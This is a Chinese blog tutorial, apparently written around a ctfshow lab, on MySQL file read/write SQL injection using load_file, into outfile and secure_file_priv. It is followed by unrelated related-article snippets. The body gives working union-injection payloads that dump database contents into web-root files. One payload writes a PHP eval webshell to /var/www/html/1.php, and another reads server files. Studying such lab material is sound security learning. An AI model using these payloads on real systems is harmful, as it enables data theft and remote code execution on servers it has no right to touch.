SQL注入--文件读写注入--理论

server/2024/11/25 10:02:02/

什么是文件读写注入?

MySQL中有
读取文件的函数:load_file()
写入文件的函数:Into outfile(能写入多行,按格式输出)和 into dumpfile(只能写入一行且没有输出格式)
利用这些函数在SQL注入中进行读写操作,就是文件读写注入。

读写文件都需要secure_file_priv权限,该权限的配置写在my.ini配置文件中:

secure_file_priv=

代表对文件读写没有限制

secure_file_priv=NULL

代表不能进行文件读写

secure_file_priv=d:/phpstudy/mysql/data

代表只能对该路径下文件进行读写

常见的可以进行文件读写操作的路径:

Windows系统
Phpstudy    phpstudy/www  phpstudy/PHPTutorial/www 
Xampp       xampp/htdocs                   
Wamp        wamp/www 
Appser      appser/www 
linux系统
/var/mysql/data 
/var/www/html    这个用的多一点

使用方法

写入文件注入:

?id=1')) union select 1,2,(select group_concat(schema_name) from information_schema.schemata) into outfile "/var/www/html/1.txt"--+

在这里插入图片描述然后我们访问写入的文件1.txt,得到所有数据库名:
在这里插入图片描述之后就是按联合注入的流程进行注入:

?id=1')) union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow') into outfile "/var/www/html/2.txt"--+
?id=1')) union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema='ctfshow' and table_name='flagdk') into outfile "/var/www/html/3.txt"--+
?id=1')) union select 1,2,(select group_concat(flag43) from ctfshow.flagdk) into outfile "/var/www/html/4.txt"--+

这里要注意,我们爆库名是在1.txt,之后的写入操作是不会修改1.txt中的内容的,所有爆表、爆字段这些操作写入2.txt、3.txt中。
得到flag:
在这里插入图片描述
写入webshell也行:

?id=1')) union select 1,'<?php eval($_POST[1]); ?>',3 into outfile '/var/www/html/1.php' --+

读取文件

?id=1')) union select 1,load_file('/var/www/html/1.txt'),2 --+

http://www.ppmy.cn/server/144765.html

相关文章

狂野飙车8+(Asphalt 8+) for Mac 赛车竞速游戏 安装教程

Mac分享吧 文章目录 狂野飙车8(Asphalt 8) for Mac 赛车竞速游戏软件 效果图展示一、狂野飙车8(Asphalt 8) 赛车竞速游戏 Mac电脑版——v2.1.11️⃣&#xff1a;下载软件2️⃣&#xff1a;安装软件2.1 左侧安装包拖入右侧文件夹中&#xff0c;等待安装完成&#xff0c;运行软件…

c# new

目录 1、运算符&#xff08;operator&#xff09;1.1 对象创建表达式1.2 数组创建表达式1.3 委托创建表达式 2、修饰符&#xff08;modifier&#xff09; 在c#中&#xff0c;new是关键字之一&#xff0c;new关键字主要有以下两个用途&#xff1a;运算符、修饰符。 1、运算符&a…

实现Set接口的三类-HashSet -LinkedHashset -Treeset

一、HashSet 数据结构与存储原理 HashSet是基于哈希表&#xff08;实际上是一个HashMap实例&#xff09;实现的Set接口。当向HashSet中添加元素时&#xff0c;会先计算元素的哈希值&#xff0c;然后根据哈希值确定元素在哈希表中的存储位置。如果两个元素的哈希值相同&#xf…

图形变换之translate

官网链接&#xff1a;translate 1. 概述 translate是鸿蒙系统提供的一种通用属性&#xff0c;用来做组件的平移&#xff0c;可以在x, y, z三个方向上对组件进行平移处理&#xff0c;使之达到想要的效果。 2. translate属性 2.1. 语法参数 translate(value: TranslateOptio…

ElasticSearch7.x入门教程之索引数据类型和映射(四)

文章目录 前言一、基本数据类型二、数据类型映射1.动态映射2.静态映射 总结 前言 本来想直接记录工作当中索引查询相关的操作&#xff0c;但是似乎如果不先记录索引数据类型的话&#xff0c;还真不好操作。好多查询都是根据数据类型来的&#xff0c;所以先简单介绍哈ES索引中相…

springboot 文件下载

在springboot中&#xff0c;执行如下代码实现文件下载 GetMapping("/file/download/test")public void Download(HttpServletResponse response){try {String path "XXXXXXXXXXXX";//文件路径File file new File(path);// 读到流中InputStream inputStre…

单体架构、集群架构和分布式架构概述

单体架构、集群架构和分布式架构概述 在现代系统架构和开发过程中&#xff0c;单体架构、集群架构和分布式架构是三个常见且关键的概念。 本文将详细介绍这些技术的相关概念&#xff0c;并探讨它们之间的联系与区别。 一、单体架构 单体架构&#xff0c;即单体技术&#xff…

初始背单词的方法:论冲泡一杯茶水来喝

背单词的方法有很多种&#xff0c;但最开始的时候&#xff0c;也就是对小朋友来说&#xff0c;可以从“冲泡一杯茶水来喝”这样一件事情来说&#xff0c;也就是打这样一个比方来论说或说明&#xff1a; 冲泡一杯茶水来喝 上面这句话&#xff0c;说白了&#xff0c;就是在说一…